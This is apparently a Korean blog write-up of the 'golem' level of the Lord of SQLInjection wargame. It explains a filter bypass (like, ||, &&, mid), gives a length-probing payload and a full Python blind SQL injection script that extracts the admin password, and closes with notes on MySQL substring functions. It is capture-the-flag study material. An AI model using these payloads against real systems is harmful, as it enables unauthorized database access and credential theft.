LOS(Lord of SQLInjection) - 11번 golem

LOS를 예전에 14개 정도 풀었었는데,, 이번에 들어가게 되는 프로젝트에 앞서 진행되는 스터디에서 빠른 시일내에 LOS를 다 풀기로 했다

다시 계정을 생성해서 10번까지는 거의 막힘없이 풀었는데, 11번에서 좀 시간이 지체되서 해당 문제 정리와 blind sql injection 진행시, substr 함수와 mid 함수 사용정리도 하고자 한다.

우선 golem 문제 풀이는 아래와 같다.

Analysis

우선 문제를 확인하면, 필터링이 prob _ . () 가 되어 있는 것을 확인할 수 있고, or and substr( =가 필터링이 된 것을 확인할 수 있다.

그리고 id가 admin이고 해당 admin 계정의 pw와 일치하는 pw가 입력되어야 solve가 가능하다. blind sql injection을 통해 pw를 알아내야한다.

Solution

우선 pw의 길이를 알아내야하고, 길이를 알기 위해서 필터링이 되어서 사용하지 못하는 = 대신 like를 사용해서 우회할 수 있다.

→ ?pw=’ %7C%7C id like ‘admin’ %26%26 length(pw) like 8 %23

이를 통해서 총 길이가 8인 pw를 알아내기 위해 아래와 같이 코드를 작성할 수 있다.

Exploit Code

import requests

password = ''

url = "https://los.rubiya.kr/chall/golem_4b5202cfedd8160e73124b5234235ef5.php"

PHPSESSID = "각자 세션 넣기"


for i in range(1,9):
  for idx in range(32, 128):
      # substr이 필터링되어 사용하지 못하기 때문에 mid 함수 사용
    payload = "?pw=' %7C%7C id like 'admin' %26%26 ascii(mid(pw, "+ str(i) + ", 1)) like " + str(idx) + " %23"
    res = requests.post(url = url + payload, cookies=(dict(PHPSESSID=PHPSESSID)))
    if 'Hello admin' in res.text:
      password += chr(idx)
      print(password)
      break
print(password)

해당 코드를 짜다가 계속 Exploit이 되지 않아서 여러번 코드를 검토해보니,,, like 사용 후에 공백을 주어야 하는데 like” + str(idx) 이렇게 코드를 작성해서, ex) likea, likeb,,, 이런식으로 like가 적용되지 않은 것 같다..

Exploit Code를 코드를 짤때 단순히 공백을 주는 것보다 오히려 %20 처럼 공백을 직관적으로 알 수 있도록 하는 방법도 좋을 것 같다.

해당 코드로 알아낸 pw는 77d6290b

해당 pw를 입력값으로 주면,

문제 해결 완료.!

MID, SUBSTR, SUBSTRING

MySQL에서 문자열에 일부분을 가져오는 함수는 대표적으로 3가지가 존재하는데 간단하게 요약하면 아래와 같다.

  • LEFT : 문자에 왼쪽을 기준으로 일정 갯수를 가져오는 함수
  • MID(SUBSTR, SUBSTRING) : 문자에 지정한 시작 위치를 기준으로 일정 갯수를 가져오는 함수
  • RIGHT : 문자에 오른쪽을 기준으로 일정 갯수를 가져오는 함수

MID 함수 및 이외의 사용법은 아래와 같다.

MID(문자, 시작 위치, 가져올 갯수);
or SUBSTR(문자, 시작 위치, 가져올 갯수);
or SUBSTRING(문자, 시작 위치, 가져올 갯수);